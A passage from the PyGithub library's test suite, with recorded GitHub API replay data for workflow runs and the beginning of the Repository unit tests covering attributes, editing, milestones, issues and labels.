d":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https POST api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935/rerun {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '21'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC3:1685:81F1:D1C6:63C15A7C')] {"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#re-run-a-workflow"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_timing.txt0000644000175100001660000000345314756101563023550 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935/timing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8ec19a979b8290796ff8c533ce429b277e20807aa5b771b658a04c6375422fb3"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '18'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '42'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC6:0299:F963:14A67:63C15A7D')] {"billable":{"UBUNTU":{"total_ms":0,"jobs":5,"job_runs":[{"job_id":10545727758,"duration_ms":0},{"job_id":10545727888,"duration_ms":0},{"job_id":10545728039,"duration_ms":0},{"job_id":10545728190,"duration_ms":0},{"job_id":10545728356,"duration_ms":0}]}},"run_duration_ms":241000} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Repository.py0000644000175100001660000030260314756101563016665 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Christopher Wilcox # # Copyright 2015 Dan Vanderkam # # Copyright 2015 Enix Yu # # Copyright 2015 Kyle Hornberg # # Copyright 2015 Uriel Corfa # # Copyright 2016 @tmshn # # Copyright 2016 Enix Yu # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Jimmy Zelinskie # # Copyright 2016 Peter Buckley # # Copyright 2018 AetherDeity # # Copyright 2018 Alice GIRARD # # Copyright 2018 Benoit Latinier # # Copyright 2018 Hayden Fuss # # Copyright 2018 Iraquitan Cordeiro Filho # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Maarten Fonville # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Victor Granic # # Copyright 2018 Wan Liuyang # # Copyright 2018 Will Yardley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Tim Gates # # Copyright 2019 Wan Liuyang # # Copyright 2019 Will Li # # Copyright 2020 Chris de Graaf # # Copyright 2020 Florent Clarret # # Copyright 2020 Glenn McDonald # # Copyright 2020 Huw Jones # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2020 ton-katsu # # Copyright 2021 Chris Keating # # Copyright 2021 Steve Kowalik # # Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># # Copyright 2021 xmo-odoo # # Copyright 2022 Eric Nieuwland # # Copyright 2022 Ibrahim Hussaini # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2022 Marco Köpcke # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Armen Martirosyan # # Copyright 2023 BradChengIRESS <49461141+BradChengIRESS@users.noreply.github.com># # Copyright 2023 Enrico Minack # # Copyright 2023 Felipe Peter # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Max Mehl <6170081+mxmehl@users.noreply.github.com> # # Copyright 2023 Roberto Pastor Muela <37798125+RobPasMue@users.noreply.github.com># # Copyright 2023 Trim21 # # Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Chris Wells # # Copyright 2024 Enrico Minack # # Copyright 2024 Heitor Polidoro # # Copyright 2024 Heitor de Bittencourt # # Copyright 2024 Jacky Lam # # Copyright 2024 Min RK # # Copyright 2024 Sebastien NICOT # # Copyright 2024 Sebastián Ramírez # # Copyright 2024 Thomas Crowley <15927917+thomascrowley@users.noreply.github.com># # Copyright 2024 jodelasur <34933233+jodelasur@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Mikhail f. Shiryaev # # Copyright 2025 Tan An Nie <121005973+tanannie22@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import date, datetime, timezone from unittest import mock import github from . import Framework class Repository(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") def testAttributes(self): self.assertEqual(self.repo.allow_auto_merge, False) self.assertEqual(self.repo.allow_forking, True) self.assertEqual(self.repo.allow_merge_commit, False) self.assertEqual(self.repo.allow_rebase_merge, False) self.assertEqual(self.repo.allow_squash_merge, True) self.assertEqual(self.repo.allow_update_branch, True) self.assertIsNone(self.repo.anonymous_access_enabled) self.assertEqual(self.repo.archive_url, "https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}") self.assertEqual(self.repo.archived, False) self.assertEqual(self.repo.assignees_url, "https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}") self.assertEqual(self.repo.blobs_url, "https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}") self.assertEqual(self.repo.branches_url, "https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}") self.assertEqual(self.repo.clone_url, "https://github.com/PyGithub/PyGithub.git") self.assertIsNone(self.repo.code_of_conduct) self.assertEqual( self.repo.collaborators_url, "https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}" ) self.assertEqual(self.repo.comments_url, "https://api.github.com/repos/PyGithub/PyGithub/comments{/number}") self.assertEqual(self.repo.commits_url, "https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}") self.assertEqual( self.repo.compare_url, "https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}" ) self.assertEqual(self.repo.contents_url, "https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}") self.assertEqual(self.repo.contributors_url, "https://api.github.com/repos/PyGithub/PyGithub/contributors") self.assertEqual( self.repo.created_at, datetime(2012, 2, 25, 12, 53, 47, tzinfo=timezone.utc), ) self.assertEqual(self.repo.custom_properties, {}) self.assertEqual(self.repo.default_branch, "main") self.assertEqual(self.repo.delete_branch_on_merge, True) self.assertEqual(self.repo.deployments_url, "https://api.github.com/repos/PyGithub/PyGithub/deployments") self.assertEqual(self.repo.description, "Typed interactions with the GitHub API v3") self.assertEqual(self.repo.disabled, False) self.assertEqual(self.repo.downloads_url, "https://api.github.com/repos/PyGithub/PyGithub/downloads") self.assertEqual(self.repo.events_url, "https://api.github.com/repos/PyGithub/PyGithub/events") self.assertFalse(self.repo.fork) self.assertEqual(self.repo.forks, 1793) self.assertEqual(self.repo.forks_count, 1793) self.assertEqual(self.repo.forks_url, "https://api.github.com/repos/PyGithub/PyGithub/forks") self.assertEqual(self.repo.full_name, "PyGithub/PyGithub") self.assertEqual(self.repo.git_commits_url, "https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}") self.assertEqual(self.repo.git_refs_url, "https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}") self.assertEqual(self.repo.git_tags_url, "https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}") self.assertEqual(self.repo.git_url, "git://github.com/PyGithub/PyGithub.git") self.assertEqual(self.repo.has_discussions, True) self.assertTrue(self.repo.has_downloads) self.assertTrue(self.repo.has_issues) self.assertEqual(self.repo.deployments_url, "https://api.github.com/repos/PyGithub/PyGithub/deployments") self.assertFalse(self.repo.has_pages) self.assertEqual(self.repo.has_projects, True) self.assertEqual(self.repo.has_wiki, False) self.assertEqual(self.repo.homepage, "https://pygithub.readthedocs.io/") self.assertEqual(self.repo.hooks_url, "https://api.github.com/repos/PyGithub/PyGithub/hooks") self.assertEqual(self.repo.html_url, "https://github.com/PyGithub/PyGithub") self.assertEqual(self.repo.id, 3544490) self.assertEqual(self.repo.is_template, False) self.assertEqual( self.repo.issue_comment_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}" ) self.assertEqual( self.repo.issue_events_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}" ) self.assertEqual(self.repo.issues_url, "https://api.github.com/repos/PyGithub/PyGithub/issues{/number}") self.assertEqual(self.repo.keys_url, "https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}") self.assertEqual(self.repo.labels_url, "https://api.github.com/repos/PyGithub/PyGithub/labels{/name}") self.assertEqual(self.repo.language, "Python") self.assertEqual(self.repo.languages_url, "https://api.github.com/repos/PyGithub/PyGithub/languages") self.assertEqual(self.repo.license.name, "GNU Lesser General Public License v3.0") self.assertIsNone(self.repo.master_branch) self.assertEqual(self.repo.merge_commit_message, "PR_TITLE") self.assertEqual(self.repo.merge_commit_title, "MERGE_MESSAGE") self.assertEqual(self.repo.merges_url, "https://api.github.com/repos/PyGithub/PyGithub/merges") self.assertEqual(self.repo.milestones_url, "https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}") self.assertIsNone(self.repo.mirror_url) self.assertEqual(self.repo.name, "PyGithub") self.assertEqual(self.repo.network_count, 1793) self.assertEqual(self.repo.node_id, "MDEwOlJlcG9zaXRvcnkzNTQ0NDkw") self.assertEqual( self.repo.notifications_url, "https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}", ) self.assertEqual(self.repo.open_issues, 357) self.assertEqual(self.repo.open_issues_count, 357) self.assertEqual(self.repo.organization.login, "PyGithub") self.assertEqual(self.repo.owner.login, "PyGithub") self.assertIsNone(self.repo.parent) self.assertEqual(self.repo.permissions.admin, True) self.assertEqual(self.repo.private, False) self.assertEqual(self.repo.pulls_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}") self.assertEqual(self.repo.pushed_at, datetime(2024, 12, 19, 12, 1, 11, tzinfo=timezone.utc)) self.assertEqual(self.repo.releases_url, "https://api.github.com/repos/PyGithub/PyGithub/releases{/id}") self.assertFalse(self.repo.has_wiki) self.assertTrue(self.repo.has_discussions) self.assertEqual(self.repo.homepage, "https://pygithub.readthedocs.io/") self.assertEqual(self.repo.html_url, "https://github.com/PyGithub/PyGithub") self.assertEqual(self.repo.id, 3544490) self.assertEqual(self.repo.is_template, False) self.assertEqual(self.repo.language, "Python") self.assertEqual(self.repo.license.spdx_id, "LGPL-3.0") self.assertIsNone(self.repo.master_branch) self.assertEqual(self.repo.name, "PyGithub") self.assertEqual(self.repo.open_issues, 357) self.assertEqual(self.repo.organization.login, "PyGithub") self.assertEqual(self.repo.owner.login, "PyGithub") self.assertIsNone(self.repo.parent) self.assertEqual(self.repo.permissions.admin, True) self.assertEqual(self.repo.permissions.pull, True) self.assertEqual(self.repo.permissions.push, True) self.assertEqual(self.repo.private, False) self.assertEqual(self.repo.pushed_at, datetime(2024, 12, 19, 12, 1, 11, tzinfo=timezone.utc)) self.assertIsNone(self.repo.role_name) self.assertIsNone(self.repo.security_and_analysis.advanced_security) self.assertEqual(self.repo.size, 16425) self.assertIsNone(self.repo.source) self.assertEqual(self.repo.squash_merge_commit_message, "PR_BODY") self.assertEqual(self.repo.squash_merge_commit_title, "PR_TITLE") self.assertEqual(self.repo.ssh_url, "git@github.com:PyGithub/PyGithub.git") self.assertEqual(self.repo.stargazers_count, 7122) self.assertEqual(self.repo.stargazers_url, "https://api.github.com/repos/PyGithub/PyGithub/stargazers") self.assertIsNone(self.repo.starred_at) self.assertEqual(self.repo.statuses_url, "https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}") self.assertEqual(self.repo.subscribers_count, 111) self.assertEqual(self.repo.subscribers_url, "https://api.github.com/repos/PyGithub/PyGithub/subscribers") self.assertEqual(self.repo.subscription_url, "https://api.github.com/repos/PyGithub/PyGithub/subscription") self.assertEqual(self.repo.svn_url, "https://github.com/PyGithub/PyGithub") self.assertEqual(self.repo.tags_url, "https://api.github.com/repos/PyGithub/PyGithub/tags") self.assertEqual(self.repo.teams_url, "https://api.github.com/repos/PyGithub/PyGithub/teams") self.assertEqual(self.repo.temp_clone_token, "") self.assertIsNone(self.repo.template_repository) self.assertEqual(self.repo.topics, ["github", "github-api", "pygithub", "python"]) self.assertEqual(self.repo.trees_url, "https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}") self.assertEqual(self.repo.updated_at, datetime(2025, 1, 6, 21, 35, 40, tzinfo=timezone.utc)) self.assertEqual(self.repo.url, "https://api.github.com/repos/PyGithub/PyGithub") self.assertEqual(self.repo.use_squash_pr_title_as_default, True) self.assertEqual(self.repo.visibility, "public") self.assertEqual(self.repo.watchers, 7122) self.assertEqual(repr(self.repo), 'Repository(full_name="PyGithub/PyGithub")') self.assertEqual(self.repo.permissions.admin, True) self.assertEqual(self.repo.permissions.push, True) self.assertEqual(self.repo.permissions.pull, True) # Allow None or any boolean value for backwards compatibility self.assertIn(self.repo.permissions.maintain, [None, False, True]) self.assertIn(self.repo.permissions.triage, [None, False, True]) self.assertEqual(self.repo.use_squash_pr_title_as_default, True) self.assertEqual(self.repo.squash_merge_commit_title, "PR_TITLE") self.assertEqual(self.repo.squash_merge_commit_message, "PR_BODY") self.assertEqual(self.repo.merge_commit_title, "MERGE_MESSAGE") self.assertEqual(self.repo.merge_commit_message, "PR_TITLE") self.assertEqual(self.repo.watchers_count, 7122) self.assertEqual(self.repo.web_commit_signoff_required, False) self.assertEqual(self.repo.custom_properties, {}) def testEditWithoutArguments(self): self.repo.edit("PyGithub") def testEditWithAllArguments(self): self.repo.edit( "PyGithub", "Description edited by PyGithub", "http://vincent-jacques.net/PyGithub", private=True, has_issues=True, has_projects=False, has_wiki=False, has_discussions=False, allow_auto_merge=True, allow_forking=True, allow_update_branch=True, allow_squash_merge=True, allow_merge_commit=True, allow_rebase_merge=True, delete_branch_on_merge=True, use_squash_pr_title_as_default=True, is_template=True, squash_merge_commit_title="PR_TITLE", squash_merge_commit_message="COMMIT_MESSAGES", merge_commit_title="PR_TITLE", merge_commit_message="PR_BODY", web_commit_signoff_required=True, ) self.assertEqual(self.repo.description, "Description edited by PyGithub") self.repo.edit("PyGithub", "Python library implementing the full Github API v3") self.assertEqual(self.repo.description, "Python library implementing the full Github API v3") self.assertFalse(self.repo.archived) self.assertTrue(self.repo.allow_update_branch) self.assertTrue(self.repo.has_issues) self.assertFalse(self.repo.has_projects) self.assertFalse(self.repo.has_wiki) self.assertFalse(self.repo.has_discussions) self.assertTrue(self.repo.allow_auto_merge) self.assertTrue(self.repo.allow_forking) self.assertTrue(self.repo.allow_squash_merge) self.assertTrue(self.repo.allow_merge_commit) self.assertTrue(self.repo.allow_rebase_merge) self.assertTrue(self.repo.delete_branch_on_merge) self.assertTrue(self.repo.use_squash_pr_title_as_default) self.assertEqual(self.repo.squash_merge_commit_title, "PR_TITLE") self.assertEqual(self.repo.squash_merge_commit_message, "COMMIT_MESSAGES") self.assertEqual(self.repo.merge_commit_title, "PR_TITLE") self.assertEqual(self.repo.merge_commit_message, "PR_BODY") self.assertTrue(self.repo.web_commit_signoff_required) def testEditWithDefaultBranch(self): self.assertEqual(self.repo.master_branch, None) self.repo.edit("PyGithub", default_branch="master") self.assertEqual(self.repo.master_branch, "master") def testDelete(self): repo = self.g.get_user().get_repo("TestPyGithub") repo.delete() def testGetContributors(self): self.assertListKeyEqual( self.repo.get_contributors(), lambda c: (c.login, c.contributions), [("jacquev6", 355)], ) def testCreateMilestone(self): milestone = self.repo.create_milestone( "Milestone created by PyGithub", state="open", description="Description created by PyGithub", due_on=date(2012, 6, 15), ) self.assertEqual(milestone.number, 5) def testCreateMilestoneWithMinimalArguments(self): milestone = self.repo.create_milestone("Milestone also created by PyGithub") self.assertEqual(milestone.number, 6) def testCreateIssue(self): issue = self.repo.create_issue("Issue created by PyGithub") self.assertEqual(issue.number, 28) def testCreateIssueWithAllArguments(self): user = self.g.get_user("jacquev6") milestone = self.repo.get_milestone(2) question = self.repo.get_label("Question") issue = self.repo.create_issue( "Issue also created by PyGithub", "Body created by PyGithub", user, milestone, [question], ["jacquev6", "stuglaser"], ) self.assertEqual(issue.number, 30) def testCreateIssueWithAllArgumentsStringLabel(self): user = self.g.get_user("jacquev6") milestone = self.repo.get_milestone(2) issue = self.repo.create_issue( "Issue also created by PyGithub", "Body created by PyGithub", user, milestone, ["Question"], ["jacquev6", "stuglaser"], ) self.assertEqual(issue.number, 30) def testCreateLabel(self): label = self.repo.create_label( "Label with silly name % * + created by PyGithub", "00ff00", "Description of label with silly name", ) self.assertEqual(label.color, "00ff00") self.assertEqual(label.description, "Description of label with silly name") self.assertEqual(label.name, "Label with silly name % * + created by PyGithub") self.assertEqual( label.url, "https://api.github.com/repos/PyGithub/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub", ) def testGetLabel(self): label = self.repo.get_label("Label with silly name % * + created by PyGithub") self.assertEqual(label.color, "00ff00") self.assertEqual(label.name, "Label with silly name % * + 